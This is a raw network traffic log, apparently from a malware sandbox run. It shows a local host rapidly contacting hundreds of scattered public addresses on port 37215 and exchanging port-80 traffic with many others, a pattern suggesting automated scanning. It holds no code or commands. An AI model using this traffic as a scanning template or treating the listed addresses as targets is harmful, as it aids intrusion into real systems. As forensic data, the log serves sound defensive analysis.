Jan 30, 2025 10:43:00.075673103 CET	60295	37215	192.168.2.14	41.49.99.230
Jan 30, 2025 10:43:00.075674057 CET	60295	37215	192.168.2.14	197.114.121.251
Jan 30, 2025 10:43:00.075675964 CET	60295	37215	192.168.2.14	156.26.109.231
Jan 30, 2025 10:43:00.075681925 CET	60295	37215	192.168.2.14	41.182.234.150
Jan 30, 2025 10:43:00.075683117 CET	60295	37215	192.168.2.14	197.250.157.33
Jan 30, 2025 10:43:00.075684071 CET	60295	37215	192.168.2.14	41.225.187.208
Jan 30, 2025 10:43:00.075685024 CET	60295	37215	192.168.2.14	41.216.78.168
Jan 30, 2025 10:43:00.075685024 CET	60295	37215	192.168.2.14	156.50.62.151
Jan 30, 2025 10:43:00.075695038 CET	60295	37215	192.168.2.14	41.172.190.90
Jan 30, 2025 10:43:00.075702906 CET	60295	37215	192.168.2.14	41.9.230.208
Jan 30, 2025 10:43:00.075711012 CET	60295	37215	192.168.2.14	156.129.229.254
Jan 30, 2025 10:43:00.075752020 CET	60295	37215	192.168.2.14	41.35.24.203
Jan 30, 2025 10:43:00.075769901 CET	60295	37215	192.168.2.14	156.2.201.237
Jan 30, 2025 10:43:00.075777054 CET	60295	37215	192.168.2.14	156.54.12.119
Jan 30, 2025 10:43:00.075784922 CET	60295	37215	192.168.2.14	197.40.26.7
Jan 30, 2025 10:43:00.075793028 CET	60295	37215	192.168.2.14	41.252.175.77
Jan 30, 2025 10:43:00.075797081 CET	60295	37215	192.168.2.14	156.225.69.31
Jan 30, 2025 10:43:00.075799942 CET	60295	37215	192.168.2.14	197.82.167.113
Jan 30, 2025 10:43:00.075810909 CET	60295	37215	192.168.2.14	41.165.105.198
Jan 30, 2025 10:43:00.075814009 CET	60295	37215	192.168.2.14	156.201.101.123
Jan 30, 2025 10:43:00.075815916 CET	60295	37215	192.168.2.14	41.18.213.14
Jan 30, 2025 10:43:00.075826883 CET	60295	37215	192.168.2.14	41.129.132.54
Jan 30, 2025 10:43:00.075833082 CET	60295	37215	192.168.2.14	197.156.39.152
Jan 30, 2025 10:43:00.075839043 CET	60295	37215	192.168.2.14	156.73.228.247
Jan 30, 2025 10:43:00.075845003 CET	60295	37215	192.168.2.14	197.56.19.81
Jan 30, 2025 10:43:00.075853109 CET	60295	37215	192.168.2.14	41.216.13.216
Jan 30, 2025 10:43:00.075862885 CET	60295	37215	192.168.2.14	41.9.233.198
Jan 30, 2025 10:43:00.075891972 CET	60295	37215	192.168.2.14	41.211.30.210
Jan 30, 2025 10:43:00.075894117 CET	60295	37215	192.168.2.14	41.20.47.180
Jan 30, 2025 10:43:00.075894117 CET	60295	37215	192.168.2.14	197.136.182.188
Jan 30, 2025 10:43:00.075898886 CET	60295	37215	192.168.2.14	197.219.115.253
Jan 30, 2025 10:43:00.075901031 CET	60295	37215	192.168.2.14	41.177.118.204
Jan 30, 2025 10:43:00.075911045 CET	60295	37215	192.168.2.14	197.69.179.64
Jan 30, 2025 10:43:00.075918913 CET	60295	37215	192.168.2.14	197.102.249.123
Jan 30, 2025 10:43:00.075932026 CET	60295	37215	192.168.2.14	41.222.52.69
Jan 30, 2025 10:43:00.075932026 CET	60295	37215	192.168.2.14	197.139.143.10
Jan 30, 2025 10:43:00.075948954 CET	60295	37215	192.168.2.14	197.209.114.135
Jan 30, 2025 10:43:00.075948954 CET	60295	37215	192.168.2.14	156.56.183.210
Jan 30, 2025 10:43:00.075962067 CET	60295	37215	192.168.2.14	41.101.105.66
Jan 30, 2025 10:43:00.075973034 CET	80	62855	101.99.144.61	192.168.2.14
Jan 30, 2025 10:43:00.075984001 CET	80	62855	218.142.171.47	192.168.2.14
Jan 30, 2025 10:43:00.075984001 CET	60295	37215	192.168.2.14	41.10.161.34
Jan 30, 2025 10:43:00.075987101 CET	60295	37215	192.168.2.14	156.233.234.193
Jan 30, 2025 10:43:00.075999975 CET	60295	37215	192.168.2.14	156.208.58.128
Jan 30, 2025 10:43:00.076001883 CET	80	62855	164.162.138.202	192.168.2.14
Jan 30, 2025 10:43:00.076004982 CET	60295	37215	192.168.2.14	41.144.103.87
Jan 30, 2025 10:43:00.076008081 CET	62855	80	192.168.2.14	101.99.144.61
Jan 30, 2025 10:43:00.076009989 CET	60295	37215	192.168.2.14	197.21.102.107
Jan 30, 2025 10:43:00.076009989 CET	62855	80	192.168.2.14	218.142.171.47
Jan 30, 2025 10:43:00.076013088 CET	80	62855	72.190.163.202	192.168.2.14
Jan 30, 2025 10:43:00.076020002 CET	60295	37215	192.168.2.14	156.13.93.40
Jan 30, 2025 10:43:00.076023102 CET	80	62855	101.105.101.85	192.168.2.14
Jan 30, 2025 10:43:00.076034069 CET	80	62855	13.31.53.69	192.168.2.14
Jan 30, 2025 10:43:00.076034069 CET	60295	37215	192.168.2.14	197.214.7.235
Jan 30, 2025 10:43:00.076034069 CET	60295	37215	192.168.2.14	41.28.93.111
Jan 30, 2025 10:43:00.076034069 CET	62855	80	192.168.2.14	164.162.138.202
Jan 30, 2025 10:43:00.076036930 CET	60295	37215	192.168.2.14	197.104.156.153
Jan 30, 2025 10:43:00.076040983 CET	60295	37215	192.168.2.14	41.99.24.36
Jan 30, 2025 10:43:00.076040983 CET	62855	80	192.168.2.14	72.190.163.202
Jan 30, 2025 10:43:00.076045036 CET	80	62855	116.141.13.77	192.168.2.14
Jan 30, 2025 10:43:00.076051950 CET	62855	80	192.168.2.14	101.105.101.85
Jan 30, 2025 10:43:00.076056004 CET	60295	37215	192.168.2.14	197.82.200.243
Jan 30, 2025 10:43:00.076056957 CET	80	62855	124.170.78.40	192.168.2.14
Jan 30, 2025 10:43:00.076061010 CET	60295	37215	192.168.2.14	41.74.39.71
Jan 30, 2025 10:43:00.076065063 CET	60295	37215	192.168.2.14	41.107.5.46
Jan 30, 2025 10:43:00.076070070 CET	80	62855	64.194.130.124	192.168.2.14
Jan 30, 2025 10:43:00.076078892 CET	62855	80	192.168.2.14	13.31.53.69
Jan 30, 2025 10:43:00.076078892 CET	62855	80	192.168.2.14	116.141.13.77
Jan 30, 2025 10:43:00.076083899 CET	80	62855	32.20.136.243	192.168.2.14
Jan 30, 2025 10:43:00.076087952 CET	60295	37215	192.168.2.14	156.27.64.224
Jan 30, 2025 10:43:00.076087952 CET	60295	37215	192.168.2.14	197.2.214.94
Jan 30, 2025 10:43:00.076095104 CET	80	62855	189.18.211.232	192.168.2.14
Jan 30, 2025 10:43:00.076107979 CET	62855	80	192.168.2.14	124.170.78.40
Jan 30, 2025 10:43:00.076113939 CET	80	62855	188.152.22.164	192.168.2.14
Jan 30, 2025 10:43:00.076113939 CET	62855	80	192.168.2.14	64.194.130.124
Jan 30, 2025 10:43:00.076113939 CET	62855	80	192.168.2.14	32.20.136.243
Jan 30, 2025 10:43:00.076117992 CET	62855	80	192.168.2.14	189.18.211.232
Jan 30, 2025 10:43:00.076124907 CET	80	62855	153.28.150.0	192.168.2.14
Jan 30, 2025 10:43:00.076138020 CET	80	62855	183.112.108.163	192.168.2.14
Jan 30, 2025 10:43:00.076141119 CET	60295	37215	192.168.2.14	41.132.82.177
Jan 30, 2025 10:43:00.076143026 CET	60295	37215	192.168.2.14	197.240.38.89
Jan 30, 2025 10:43:00.076144934 CET	62855	80	192.168.2.14	188.152.22.164
Jan 30, 2025 10:43:00.076148987 CET	80	62855	169.71.185.12	192.168.2.14
Jan 30, 2025 10:43:00.076155901 CET	62855	80	192.168.2.14	153.28.150.0
Jan 30, 2025 10:43:00.076157093 CET	60295	37215	192.168.2.14	41.62.239.186
Jan 30, 2025 10:43:00.076162100 CET	80	62855	140.69.154.1	192.168.2.14
Jan 30, 2025 10:43:00.076164961 CET	60295	37215	192.168.2.14	197.91.28.81
Jan 30, 2025 10:43:00.076174021 CET	62855	80	192.168.2.14	183.112.108.163
Jan 30, 2025 10:43:00.076174021 CET	80	62855	154.164.115.164	192.168.2.14
Jan 30, 2025 10:43:00.076176882 CET	62855	80	192.168.2.14	169.71.185.12
Jan 30, 2025 10:43:00.076178074 CET	60295	37215	192.168.2.14	156.177.181.96
Jan 30, 2025 10:43:00.076185942 CET	80	62855	201.225.216.198	192.168.2.14
Jan 30, 2025 10:43:00.076199055 CET	62855	80	192.168.2.14	140.69.154.1
Jan 30, 2025 10:43:00.076200008 CET	80	62855	91.99.79.0	192.168.2.14
Jan 30, 2025 10:43:00.076214075 CET	80	62855	199.71.176.72	192.168.2.14
Jan 30, 2025 10:43:00.076215029 CET	60295	37215	192.168.2.14	197.229.163.182
Jan 30, 2025 10:43:00.076217890 CET	62855	80	192.168.2.14	154.164.115.164
Jan 30, 2025 10:43:00.076224089 CET	80	62855	58.149.86.49	192.168.2.14
Jan 30, 2025 10:43:00.076225042 CET	60295	37215	192.168.2.14	41.143.129.205
Jan 30, 2025 10:43:00.076226950 CET	62855	80	192.168.2.14	201.225.216.198
Jan 30, 2025 10:43:00.076235056 CET	80	62855	223.231.66.61	192.168.2.14
Jan 30, 2025 10:43:00.076239109 CET	62855	80	192.168.2.14	91.99.79.0
Jan 30, 2025 10:43:00.076246023 CET	62855	80	192.168.2.14	199.71.176.72
Jan 30, 2025 10:43:00.076248884 CET	80	62855	47.230.157.208	192.168.2.14
Jan 30, 2025 10:43:00.076260090 CET	62855	80	192.168.2.14	223.231.66.61
Jan 30, 2025 10:43:00.076261997 CET	62855	80	192.168.2.14	58.149.86.49
Jan 30, 2025 10:43:00.076273918 CET	60295	37215	192.168.2.14	156.108.154.147
Jan 30, 2025 10:43:00.076273918 CET	60295	37215	192.168.2.14	41.154.134.220
Jan 30, 2025 10:43:00.076292038 CET	60295	37215	192.168.2.14	156.227.28.20
Jan 30, 2025 10:43:00.076296091 CET	60295	37215	192.168.2.14	156.235.185.3
Jan 30, 2025 10:43:00.076296091 CET	62855	80	192.168.2.14	47.230.157.208
Jan 30, 2025 10:43:00.076296091 CET	60295	37215	192.168.2.14	41.236.240.157
Jan 30, 2025 10:43:00.076297998 CET	60295	37215	192.168.2.14	156.142.128.9
Jan 30, 2025 10:43:00.076309919 CET	60295	37215	192.168.2.14	197.149.81.79
Jan 30, 2025 10:43:00.076311111 CET	60295	37215	192.168.2.14	197.252.187.52
Jan 30, 2025 10:43:00.076328993 CET	60295	37215	192.168.2.14	41.233.224.88
Jan 30, 2025 10:43:00.076329947 CET	60295	37215	192.168.2.14	197.186.95.8
Jan 30, 2025 10:43:00.076337099 CET	60295	37215	192.168.2.14	41.172.41.44
Jan 30, 2025 10:43:00.076337099 CET	60295	37215	192.168.2.14	41.13.142.171
Jan 30, 2025 10:43:00.076354027 CET	60295	37215	192.168.2.14	197.128.149.44
Jan 30, 2025 10:43:00.076381922 CET	60295	37215	192.168.2.14	197.57.29.28
Jan 30, 2025 10:43:00.076385975 CET	60295	37215	192.168.2.14	197.46.2.84
Jan 30, 2025 10:43:00.076387882 CET	80	62855	14.130.211.223	192.168.2.14
Jan 30, 2025 10:43:00.076400042 CET	60295	37215	192.168.2.14	156.200.87.203
Jan 30, 2025 10:43:00.076400042 CET	60295	37215	192.168.2.14	156.58.61.125
Jan 30, 2025 10:43:00.076400042 CET	80	62855	75.104.75.176	192.168.2.14
Jan 30, 2025 10:43:00.076415062 CET	80	62855	130.219.127.143	192.168.2.14
Jan 30, 2025 10:43:00.076416969 CET	60295	37215	192.168.2.14	156.76.67.22
Jan 30, 2025 10:43:00.076416969 CET	62855	80	192.168.2.14	14.130.211.223
Jan 30, 2025 10:43:00.076426029 CET	80	62855	91.128.91.22	192.168.2.14
Jan 30, 2025 10:43:00.076436996 CET	80	62855	18.170.17.66	192.168.2.14
Jan 30, 2025 10:43:00.076436996 CET	60295	37215	192.168.2.14	156.16.233.95
Jan 30, 2025 10:43:00.076437950 CET	62855	80	192.168.2.14	75.104.75.176
Jan 30, 2025 10:43:00.076450109 CET	80	62855	124.155.57.184	192.168.2.14
Jan 30, 2025 10:43:00.076453924 CET	62855	80	192.168.2.14	130.219.127.143
Jan 30, 2025 10:43:00.076457024 CET	62855	80	192.168.2.14	91.128.91.22
Jan 30, 2025 10:43:00.076461077 CET	80	62855	76.70.153.23	192.168.2.14
Jan 30, 2025 10:43:00.076472998 CET	80	62855	188.84.228.143	192.168.2.14
Jan 30, 2025 10:43:00.076474905 CET	62855	80	192.168.2.14	18.170.17.66
Jan 30, 2025 10:43:00.076482058 CET	62855	80	192.168.2.14	124.155.57.184
Jan 30, 2025 10:43:00.076483965 CET	80	62855	142.231.215.51	192.168.2.14
Jan 30, 2025 10:43:00.076494932 CET	62855	80	192.168.2.14	76.70.153.23
Jan 30, 2025 10:43:00.076494932 CET	60295	37215	192.168.2.14	41.44.49.116
Jan 30, 2025 10:43:00.076499939 CET	60295	37215	192.168.2.14	156.171.164.58
Jan 30, 2025 10:43:00.076508999 CET	62855	80	192.168.2.14	188.84.228.143
Jan 30, 2025 10:43:00.076525927 CET	62855	80	192.168.2.14	142.231.215.51
Jan 30, 2025 10:43:00.076529980 CET	60295	37215	192.168.2.14	41.54.65.176
Jan 30, 2025 10:43:00.076529980 CET	60295	37215	192.168.2.14	156.244.33.13
Jan 30, 2025 10:43:00.076534033 CET	60295	37215	192.168.2.14	156.201.0.195
Jan 30, 2025 10:43:00.076553106 CET	60295	37215	192.168.2.14	41.205.147.48
Jan 30, 2025 10:43:00.076553106 CET	60295	37215	192.168.2.14	41.111.231.48
Jan 30, 2025 10:43:00.076556921 CET	60295	37215	192.168.2.14	41.90.229.243
Jan 30, 2025 10:43:00.076559067 CET	60295	37215	192.168.2.14	197.255.58.70
Jan 30, 2025 10:43:00.076562881 CET	60295	37215	192.168.2.14	41.208.121.195
Jan 30, 2025 10:43:00.076577902 CET	60295	37215	192.168.2.14	197.243.181.213
Jan 30, 2025 10:43:00.076581001 CET	60295	37215	192.168.2.14	156.74.131.96
Jan 30, 2025 10:43:00.076585054 CET	60295	37215	192.168.2.14	41.151.179.110
Jan 30, 2025 10:43:00.076594114 CET	60295	37215	192.168.2.14	41.172.136.224
Jan 30, 2025 10:43:00.076594114 CET	60295	37215	192.168.2.14	41.177.248.47
Jan 30, 2025 10:43:00.076602936 CET	60295	37215	192.168.2.14	197.147.119.42
Jan 30, 2025 10:43:00.076608896 CET	60295	37215	192.168.2.14	156.117.137.23
Jan 30, 2025 10:43:00.076621056 CET	60295	37215	192.168.2.14	41.184.225.244
Jan 30, 2025 10:43:00.076621056 CET	60295	37215	192.168.2.14	156.185.55.233
Jan 30, 2025 10:43:00.076634884 CET	60295	37215	192.168.2.14	197.213.72.32
Jan 30, 2025 10:43:00.076636076 CET	60295	37215	192.168.2.14	41.0.213.150
Jan 30, 2025 10:43:00.076636076 CET	60295	37215	192.168.2.14	156.27.239.97
Jan 30, 2025 10:43:00.076653004 CET	60295	37215	192.168.2.14	197.114.33.112
Jan 30, 2025 10:43:00.076653957 CET	60295	37215	192.168.2.14	156.65.168.44
Jan 30, 2025 10:43:00.076654911 CET	60295	37215	192.168.2.14	41.183.220.66
Jan 30, 2025 10:43:00.076668024 CET	60295	37215	192.168.2.14	41.115.211.58
Jan 30, 2025 10:43:00.076677084 CET	60295	37215	192.168.2.14	41.164.246.144
Jan 30, 2025 10:43:00.076682091 CET	60295	37215	192.168.2.14	156.162.117.190
Jan 30, 2025 10:43:00.076693058 CET	60295	37215	192.168.2.14	156.11.84.206
Jan 30, 2025 10:43:00.076697111 CET	60295	37215	192.168.2.14	41.70.60.86
Jan 30, 2025 10:43:00.076699972 CET	60295	37215	192.168.2.14	197.244.187.202
Jan 30, 2025 10:43:00.076702118 CET	60295	37215	192.168.2.14	41.143.136.119
Jan 30, 2025 10:43:00.076709986 CET	60295	37215	192.168.2.14	197.228.87.91
Jan 30, 2025 10:43:00.076724052 CET	60295	37215	192.168.2.14	41.126.56.26
Jan 30, 2025 10:43:00.076724052 CET	60295	37215	192.168.2.14	197.65.180.42
Jan 30, 2025 10:43:00.076724052 CET	60295	37215	192.168.2.14	197.255.241.63
Jan 30, 2025 10:43:00.076735973 CET	60295	37215	192.168.2.14	156.34.78.34
Jan 30, 2025 10:43:00.076740026 CET	60295	37215	192.168.2.14	197.117.72.3
Jan 30, 2025 10:43:00.076745987 CET	60295	37215	192.168.2.14	197.150.102.104
Jan 30, 2025 10:43:00.076757908 CET	60295	37215	192.168.2.14	156.65.82.73
Jan 30, 2025 10:43:00.076764107 CET	60295	37215	192.168.2.14	197.47.90.83
Jan 30, 2025 10:43:00.076766014 CET	60295	37215	192.168.2.14	41.164.57.124
Jan 30, 2025 10:43:00.076781988 CET	60295	37215	192.168.2.14	156.148.223.64
Jan 30, 2025 10:43:00.076786995 CET	60295	37215	192.168.2.14	41.224.115.95
Jan 30, 2025 10:43:00.076802015 CET	80	62855	152.129.178.243	192.168.2.14
Jan 30, 2025 10:43:00.076802969 CET	60295	37215	192.168.2.14	156.210.187.150
Jan 30, 2025 10:43:00.076807022 CET	60295	37215	192.168.2.14	41.32.108.78
Jan 30, 2025 10:43:00.076807022 CET	60295	37215	192.168.2.14	41.34.106.88
Jan 30, 2025 10:43:00.076807976 CET	60295	37215	192.168.2.14	197.66.64.176
Jan 30, 2025 10:43:00.076808929 CET	60295	37215	192.168.2.14	156.222.233.148
Jan 30, 2025 10:43:00.076819897 CET	60295	37215	192.168.2.14	197.171.178.26
Jan 30, 2025 10:43:00.076819897 CET	80	62855	115.27.91.61	192.168.2.14
Jan 30, 2025 10:43:00.076831102 CET	60295	37215	192.168.2.14	156.73.14.106
Jan 30, 2025 10:43:00.076832056 CET	80	62855	64.30.33.55	192.168.2.14
Jan 30, 2025 10:43:00.076844931 CET	80	62855	66.84.50.216	192.168.2.14
Jan 30, 2025 10:43:00.076855898 CET	80	62855	42.137.3.170	192.168.2.14
Jan 30, 2025 10:43:00.076855898 CET	60295	37215	192.168.2.14	41.100.60.252
Jan 30, 2025 10:43:00.076859951 CET	60295	37215	192.168.2.14	41.35.238.224
Jan 30, 2025 10:43:00.076864004 CET	62855	80	192.168.2.14	115.27.91.61
Jan 30, 2025 10:43:00.076869011 CET	62855	80	192.168.2.14	152.129.178.243
Jan 30, 2025 10:43:00.076869011 CET	62855	80	192.168.2.14	64.30.33.55
Jan 30, 2025 10:43:00.076869011 CET	60295	37215	192.168.2.14	156.111.16.74
Jan 30, 2025 10:43:00.076869011 CET	62855	80	192.168.2.14	66.84.50.216
Jan 30, 2025 10:43:00.076872110 CET	60295	37215	192.168.2.14	156.116.100.130
Jan 30, 2025 10:43:00.076872110 CET	80	62855	104.65.63.136	192.168.2.14
Jan 30, 2025 10:43:00.076874018 CET	60295	37215	192.168.2.14	41.137.53.181
Jan 30, 2025 10:43:00.076884031 CET	80	62855	36.244.20.137	192.168.2.14
Jan 30, 2025 10:43:00.076884985 CET	60295	37215	192.168.2.14	156.161.149.102
Jan 30, 2025 10:43:00.076886892 CET	60295	37215	192.168.2.14	156.168.71.40
Jan 30, 2025 10:43:00.076888084 CET	60295	37215	192.168.2.14	41.106.86.74
Jan 30, 2025 10:43:00.076888084 CET	62855	80	192.168.2.14	42.137.3.170
Jan 30, 2025 10:43:00.076896906 CET	80	62855	37.189.190.222	192.168.2.14
Jan 30, 2025 10:43:00.076905012 CET	62855	80	192.168.2.14	104.65.63.136
Jan 30, 2025 10:43:00.076910019 CET	80	62855	117.36.218.208	192.168.2.14
Jan 30, 2025 10:43:00.076913118 CET	60295	37215	192.168.2.14	41.18.196.231
Jan 30, 2025 10:43:00.076915979 CET	60295	37215	192.168.2.14	156.120.155.169
Jan 30, 2025 10:43:00.076915979 CET	62855	80	192.168.2.14	36.244.20.137
Jan 30, 2025 10:43:00.076917887 CET	60295	37215	192.168.2.14	197.247.98.166
Jan 30, 2025 10:43:00.076920986 CET	80	62855	176.11.178.157	192.168.2.14
Jan 30, 2025 10:43:00.076931000 CET	62855	80	192.168.2.14	37.189.190.222
Jan 30, 2025 10:43:00.076931953 CET	80	62855	70.171.35.104	192.168.2.14
Jan 30, 2025 10:43:00.076937914 CET	60295	37215	192.168.2.14	41.235.61.172
Jan 30, 2025 10:43:00.076941013 CET	60295	37215	192.168.2.14	41.83.29.107
Jan 30, 2025 10:43:00.076941013 CET	62855	80	192.168.2.14	117.36.218.208
Jan 30, 2025 10:43:00.076945066 CET	60295	37215	192.168.2.14	41.75.60.107
Jan 30, 2025 10:43:00.076945066 CET	80	62855	45.159.42.170	192.168.2.14
Jan 30, 2025 10:43:00.076947927 CET	60295	37215	192.168.2.14	156.90.29.110
Jan 30, 2025 10:43:00.076947927 CET	62855	80	192.168.2.14	176.11.178.157
Jan 30, 2025 10:43:00.076956987 CET	60295	37215	192.168.2.14	156.116.130.229
Jan 30, 2025 10:43:00.076958895 CET	80	62855	120.156.154.135	192.168.2.14
Jan 30, 2025 10:43:00.076968908 CET	62855	80	192.168.2.14	70.171.35.104
Jan 30, 2025 10:43:00.076970100 CET	80	62855	171.85.237.97	192.168.2.14
Jan 30, 2025 10:43:00.076982021 CET	80	62855	70.67.135.56	192.168.2.14
Jan 30, 2025 10:43:00.076984882 CET	62855	80	192.168.2.14	45.159.42.170
Jan 30, 2025 10:43:00.076983929 CET	60295	37215	192.168.2.14	197.211.1.140
Jan 30, 2025 10:43:00.076984882 CET	62855	80	192.168.2.14	120.156.154.135
Jan 30, 2025 10:43:00.076993942 CET	80	62855	23.195.253.247	192.168.2.14
Jan 30, 2025 10:43:00.076997995 CET	60295	37215	192.168.2.14	197.171.165.99
Jan 30, 2025 10:43:00.077003002 CET	62855	80	192.168.2.14	171.85.237.97
Jan 30, 2025 10:43:00.077004910 CET	80	62855	196.131.224.189	192.168.2.14
Jan 30, 2025 10:43:00.077017069 CET	62855	80	192.168.2.14	70.67.135.56
Jan 30, 2025 10:43:00.077018976 CET	80	62855	32.84.125.20	192.168.2.14
Jan 30, 2025 10:43:00.077019930 CET	60295	37215	192.168.2.14	156.92.245.242
Jan 30, 2025 10:43:00.077020884 CET	60295	37215	192.168.2.14	197.73.250.155
Jan 30, 2025 10:43:00.077023983 CET	60295	37215	192.168.2.14	41.87.42.24
Jan 30, 2025 10:43:00.077023983 CET	60295	37215	192.168.2.14	197.201.50.47
Jan 30, 2025 10:43:00.077028990 CET	62855	80	192.168.2.14	23.195.253.247
Jan 30, 2025 10:43:00.077029943 CET	80	62855	196.3.191.224	192.168.2.14
Jan 30, 2025 10:43:00.077033043 CET	60295	37215	192.168.2.14	41.208.165.11
Jan 30, 2025 10:43:00.077033043 CET	60295	37215	192.168.2.14	41.211.244.171
Jan 30, 2025 10:43:00.077033997 CET	62855	80	192.168.2.14	196.131.224.189
Jan 30, 2025 10:43:00.077040911 CET	80	62855	143.101.149.90	192.168.2.14
Jan 30, 2025 10:43:00.077054024 CET	80	62855	58.95.204.51	192.168.2.14
Jan 30, 2025 10:43:00.077054977 CET	62855	80	192.168.2.14	32.84.125.20
Jan 30, 2025 10:43:00.077054977 CET	62855	80	192.168.2.14	196.3.191.224
Jan 30, 2025 10:43:00.077064037 CET	60295	37215	192.168.2.14	197.1.99.20
Jan 30, 2025 10:43:00.077064037 CET	80	62855	170.200.119.231	192.168.2.14
Jan 30, 2025 10:43:00.077075005 CET	80	62855	107.214.109.83	192.168.2.14
Jan 30, 2025 10:43:00.077076912 CET	60295	37215	192.168.2.14	156.95.232.156
Jan 30, 2025 10:43:00.077079058 CET	62855	80	192.168.2.14	143.101.149.90
Jan 30, 2025 10:43:00.077081919 CET	60295	37215	192.168.2.14	156.202.214.118
Jan 30, 2025 10:43:00.077088118 CET	80	62855	198.151.162.206	192.168.2.14
Jan 30, 2025 10:43:00.077090025 CET	62855	80	192.168.2.14	58.95.204.51
Jan 30, 2025 10:43:00.077095032 CET	60295	37215	192.168.2.14	197.220.201.122
Jan 30, 2025 10:43:00.077097893 CET	62855	80	192.168.2.14	170.200.119.231
Jan 30, 2025 10:43:00.077097893 CET	60295	37215	192.168.2.14	156.82.15.85
Jan 30, 2025 10:43:00.077114105 CET	60295	37215	192.168.2.14	41.247.63.18
Jan 30, 2025 10:43:00.077114105 CET	60295	37215	192.168.2.14	197.44.56.211
Jan 30, 2025 10:43:00.077117920 CET	62855	80	192.168.2.14	107.214.109.83
Jan 30, 2025 10:43:00.077117920 CET	60295	37215	192.168.2.14	41.144.54.22
Jan 30, 2025 10:43:00.077121019 CET	60295	37215	192.168.2.14	41.93.57.137
Jan 30, 2025 10:43:00.077121019 CET	62855	80	192.168.2.14	198.151.162.206
Jan 30, 2025 10:43:00.077132940 CET	60295	37215	192.168.2.14	41.111.51.49
Jan 30, 2025 10:43:00.077143908 CET	60295	37215	192.168.2.14	156.254.88.248
Jan 30, 2025 10:43:00.077143908 CET	60295	37215	192.168.2.14	156.91.19.199
Jan 30, 2025 10:43:00.077147007 CET	60295	37215	192.168.2.14	197.188.129.217
Jan 30, 2025 10:43:00.077148914 CET	60295	37215	192.168.2.14	156.30.255.145
Jan 30, 2025 10:43:00.077162981 CET	60295	37215	192.168.2.14	156.169.191.156
Jan 30, 2025 10:43:00.077162981 CET	60295	37215	192.168.2.14	41.255.229.146
Jan 30, 2025 10:43:00.077176094 CET	60295	37215	192.168.2.14	197.180.242.84
Jan 30, 2025 10:43:00.077178001 CET	60295	37215	192.168.2.14	156.111.227.148
Jan 30, 2025 10:43:00.077178001 CET	60295	37215	192.168.2.14	41.53.30.145
Jan 30, 2025 10:43:00.077178001 CET	60295	37215	192.168.2.14	197.128.176.228
Jan 30, 2025 10:43:00.077188969 CET	60295	37215	192.168.2.14	156.89.119.26
Jan 30, 2025 10:43:00.077188969 CET	60295	37215	192.168.2.14	41.4.135.170
Jan 30, 2025 10:43:00.077202082 CET	60295	37215	192.168.2.14	156.13.166.165
Jan 30, 2025 10:43:00.077214003 CET	60295	37215	192.168.2.14	156.206.11.233
Jan 30, 2025 10:43:00.077214956 CET	60295	37215	192.168.2.14	197.254.105.143
Jan 30, 2025 10:43:00.077217102 CET	60295	37215	192.168.2.14	197.232.110.107
Jan 30, 2025 10:43:00.077217102 CET	60295	37215	192.168.2.14	41.224.43.5
Jan 30, 2025 10:43:00.077217102 CET	60295	37215	192.168.2.14	41.238.242.123
Jan 30, 2025 10:43:00.077217102 CET	60295	37215	192.168.2.14	156.94.88.244
Jan 30, 2025 10:43:00.077249050 CET	60295	37215	192.168.2.14	156.236.213.250
Jan 30, 2025 10:43:00.077251911 CET	80	62855	12.55.101.186	192.168.2.14
Jan 30, 2025 10:43:00.077263117 CET	80	62855	153.31.89.75	192.168.2.14
Jan 30, 2025 10:43:00.077270985 CET	60295	37215	192.168.2.14	41.143.60.175
Jan 30, 2025 10:43:00.077274084 CET	80	62855	149.247.70.10	192.168.2.14
Jan 30, 2025 10:43:00.077286959 CET	62855	80	192.168.2.14	12.55.101.186
Jan 30, 2025 10:43:00.077294111 CET	80	62855	43.83.128.171	192.168.2.14
Jan 30, 2025 10:43:00.077294111 CET	62855	80	192.168.2.14	153.31.89.75
Jan 30, 2025 10:43:00.077301979 CET	62855	80	192.168.2.14	149.247.70.10
Jan 30, 2025 10:43:00.077303886 CET	80	62855	53.182.223.56	192.168.2.14
Jan 30, 2025 10:43:00.077315092 CET	80	62855	126.245.114.212	192.168.2.14
Jan 30, 2025 10:43:00.077326059 CET	80	62855	206.244.102.161	192.168.2.14
Jan 30, 2025 10:43:00.077328920 CET	62855	80	192.168.2.14	43.83.128.171
Jan 30, 2025 10:43:00.077337027 CET	80	62855	90.64.6.63	192.168.2.14
Jan 30, 2025 10:43:00.077337980 CET	62855	80	192.168.2.14	53.182.223.56
Jan 30, 2025 10:43:00.077348948 CET	80	62855	202.243.9.93	192.168.2.14
Jan 30, 2025 10:43:00.077358007 CET	80	62855	14.139.27.83	192.168.2.14
Jan 30, 2025 10:43:00.077369928 CET	80	62855	185.103.128.119	192.168.2.14
Jan 30, 2025 10:43:00.077369928 CET	62855	80	192.168.2.14	126.245.114.212
Jan 30, 2025 10:43:00.077378035 CET	62855	80	192.168.2.14	206.244.102.161
Jan 30, 2025 10:43:00.077380896 CET	80	62855	161.80.48.54	192.168.2.14
Jan 30, 2025 10:43:00.077389956 CET	62855	80	192.168.2.14	90.64.6.63
Jan 30, 2025 10:43:00.077389956 CET	62855	80	192.168.2.14	202.243.9.93
Jan 30, 2025 10:43:00.077400923 CET	62855	80	192.168.2.14	14.139.27.83
Jan 30, 2025 10:43:00.077403069 CET	80	62855	139.203.17.83	192.168.2.14
Jan 30, 2025 10:43:00.077425003 CET	80	62855	13.56.93.149	192.168.2.14
Jan 30, 2025 10:43:00.077435970 CET	80	62855	43.234.156.6	192.168.2.14
Jan 30, 2025 10:43:00.077441931 CET	62855	80	192.168.2.14	161.80.48.54
Jan 30, 2025 10:43:00.077446938 CET	80	62855	8.247.107.28	192.168.2.14
Jan 30, 2025 10:43:00.077449083 CET	62855	80	192.168.2.14	185.103.128.119
Jan 30, 2025 10:43:00.077455997 CET	62855	80	192.168.2.14	13.56.93.149
Jan 30, 2025 10:43:00.077457905 CET	62855	80	192.168.2.14	43.234.156.6
Jan 30, 2025 10:43:00.077459097 CET	80	62855	37.86.139.71	192.168.2.14
Jan 30, 2025 10:43:00.077469110 CET	80	62855	94.45.193.170	192.168.2.14
Jan 30, 2025 10:43:00.077476025 CET	62855	80	192.168.2.14	8.247.107.28
Jan 30, 2025 10:43:00.077480078 CET	80	62855	103.44.133.210	192.168.2.14
Jan 30, 2025 10:43:00.077483892 CET	62855	80	192.168.2.14	139.203.17.83
Jan 30, 2025 10:43:00.077483892 CET	62855	80	192.168.2.14	37.86.139.71
Jan 30, 2025 10:43:00.077491045 CET	80	62855	167.83.109.80	192.168.2.14
Jan 30, 2025 10:43:00.077502012 CET	62855	80	192.168.2.14	94.45.193.170
